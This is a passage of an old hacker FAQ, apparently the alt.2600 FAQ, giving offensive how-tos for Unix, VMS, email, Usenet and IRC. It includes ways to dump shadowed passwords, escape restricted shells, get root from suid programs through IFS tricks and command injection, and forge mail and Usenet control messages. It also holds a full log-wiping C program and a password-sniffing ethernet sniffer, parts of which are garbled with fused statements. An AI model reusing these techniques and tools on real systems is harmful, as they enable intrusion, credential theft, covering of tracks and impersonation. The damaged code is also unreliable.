N 39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
N 40. How does the MS-Windows password encryption work?

Section A: Computers
~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:

Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell

]
] Sample entry from /etc/passwd:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Broken down, this passwd file line shows:

Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.

The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack. CrackerJack is available via ftp from clark.net
/pub/jcase/.

03. What is password shadowing?

Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.

To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.

Example:

#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

04. Where can I find the password file if it's shadowed?

Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:

+::0:0:::

To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.

]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.

]
] Password aging characters from above example:
]
] M.z8
]

The four characters are interpreted as follows:

1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.

Three special cases should be noted:

If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.

It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.

Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.

09. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for
investigation. To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version
number.

The following activities can be logged:

BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess

To enable security auditing use:

$ SET AUDIT [/ENABLE=(Activity...)]

The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following
activities:

ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests

10. What privileges are available on a VMS system?

ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world

To determine what privileges your process is running with issue the command:

$ show proc/priv

11. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:

:shell

If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.

12. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

system("/bin/date")

and you change IFS to '/' the shell will them interpret the
proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.

To change IFS, use this command:

IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell

2. link the script to -i

Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.

Example:

% ln suid.sh -i
% -i
#

3. Exploit a race condition

Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.

Example:

nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same
command line.

Example:

suidprog ; id

13. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.

Example:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) pos =" -1L;" pos =" -1L;" pwd="getpwnam(who))!="NULL)" f="open(LASTLOG_NAME,">= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:

HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com

Please discontinue your silly Clipper initiative.
.
QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."

15. How do I fake posts and control messages to UseNet?

From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT

Anonymous netnews without "anonymous" remailers

Inspired by the recent "NetNews Judges-L" events, this file has been
updated to cover forging control messages, so you can do your own
article canceling and create and destroy your own newsgroups.

Save any news article to a file. We'll call it "hak" in this example.

Edit "hak", and remove any header lines of the form

From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Xref:

Shorten the Path: header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from
where it really was posted, and originally hit the net at or near the
host you send it to. Or you can construct a completely new Path: line
to reflect your assumed alias.

Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.

Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.

To specifically cancel someone else's article, you need its message-ID.
Your message headers, in addition to what's already there, should also
contain the following with that message-ID in it. This makes it a
"control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.

Subject: cmsg cancel
Control: cancel
Approved: luser@twits.site.com

Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks

Add on the string "moderated" at the end of these if you want the group
to be "moderated with no moderator" as with alt.hackers. Somewhere in
the body of your message, you should include the following text,
changed with the description of the group you're creating:

For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows

To remove a group, substitute "rmgroup" for "newgroup" in the header
lines above. Keep in mind that most sites run all "rmgroup" requests
through a human news-master, who may or may not decide to honor it.
Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if
the come from me, since my name is hardwired into many of the NNTP
control scripts, so using the From: and Approved: headers from this
posting is recommended.

Save your changed article, check it to make sure it contains NO
reference to yourself or your own site, and send it to your favorite
NNTP server that permits transfers via the IHAVE command, using the
following script:

=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server

if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi

# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================

If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output of
this if you want, to remove obvious peoples' names and other trash.

=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================

Once you have your host list, feed it to the following script.

=======================
#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================

If the above script is called "findem" and you're using csh, you should do

findem <>& outfile

so that ALL output from telnet is captured. This takes a long time,
but when it finishes, edit "outfile" and look for occurrences of "335".
These mark answers from servers that might be willing to accept an
article. This isn't a completely reliable indication, since some
servers respond with acceptance and later drop articles. Try a given
server with a slightly modified repeat of someone else's message, and
see if it eventually appears.

Sometimes the telnets get into an odd state, and freeze, particularly
when a host is refusing NNTP connections. If you manually kill these
hung telnet processes but not the main script, the script will continue
on. In other words, you may have to monitor the finding script a
little while it is running.

You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but
they will add an "NNTP-Posting-Host: " header containing the machine
YOU came from and are therefore unsuitable for completely anonymous
use.

PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.

16. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.

17. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me.

-- BEGIN QUOTED TEXT --

Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command
can be used as follows:

* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channel you
* are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact. This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}

Or just to be annoying... a /BE alias that will assume a
person's username and IRCNAME:

alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using). Cd into the
source directory and edit the file "edit.c". Make the following
changes:

Locate the line which reads:
extern void server();

Insert the following line after it:
static void newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:
"NAMES", "NAMES", funny_stuff, 0,

Insert the following line after it:
"NEWUSER", NULL, newuser, 0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.
*/

static void newuser(command, args)
char *command,
*args;
{
char *newuname;

if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) != -1)
{
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to connect.");
}
else
say("You must specify a username and, optionally, an IRCNAME");
}

-- END QUOTED TEXT --

/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;

18. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.

-q Forces printing of non-graphic characters in filenames as the
character ``?''.

-b Forces printing of non-graphic characters in the \ddd
notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

From the man page for cat:

-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (x), where X is the key pressed with
the key (for example, m is displayed as ^M). The
character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.

-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.

-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.

If the directory name includes a or a you will need to
enclose the entire directory name in quotes. Example:

cd ".."

On an IBM-PC, you may enter these special characters by holding down
the key and entering the decimal value of the special character
on your numeric keypad. When you release the key, the special
character should appear on your screen. An ASCII chart can be very
helpful.

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.

From the man page for stty:

Control assignments

control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.

start and stop are available as possible control char-
acters for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.

19. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS Sniffer
~~ ~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor)
& netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* Available via anonymous ftp at */
/* sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
Etherman
tcpdump /* Available via anonymous ftp */
Solaris snoop
tcpdump
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek

Here is source code for a sample ethernet sniffer:

/* Esniff.c */

#include
#include
#include

#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#define ERR stderr

char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;

#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)
time_t LastTIME = 0;

struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;

switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}

char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}

#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < lastc="="'\r')" lastc="="'\n')" lastc="="'\0')" lastc =" *dp++;">Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}

fprintf(LOG,"\n-- \n");
fflush(LOG);

if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIMENext; \
if(CLe->Time ether_type);

if(EtherType < ethertype =" *(u_short" ip =" (struct">ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;

{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)
if( (CLm->Length + length) < cle="CLroot)" at =""> %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < ic_timout =" INFTIM;" tv_sec =" 1;" tv_usec =" 0;" ic_cmd =" NIOCSTIME;" ic_len =" sizeof(timeout);" ic_dp =" (char" ic_cmd =" NIOCSCHUNK;" ic_len =" sizeof(chunksize);" ic_dp =" (char" ic_cmd =" NIOCBIND;" ic_len =" sizeof(ifr);" ic_dp =" (char" ic_cmd =" NIOCSFLAGS;" ic_len =" sizeof(if_flags);" ic_dp =" (char" cc =" read(if_fd,">= 0) {
register char *bp = buf,
*bufstop = (buf + cc);

while (bp < cp =" bp;" hdrp =" (struct">nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;
device=NULL;
while((ac< ifc_len =" sizeof(cbuf);" ifc_buf =" cbuf;" device =" ifc.ifc_req-">ifr_name;
}

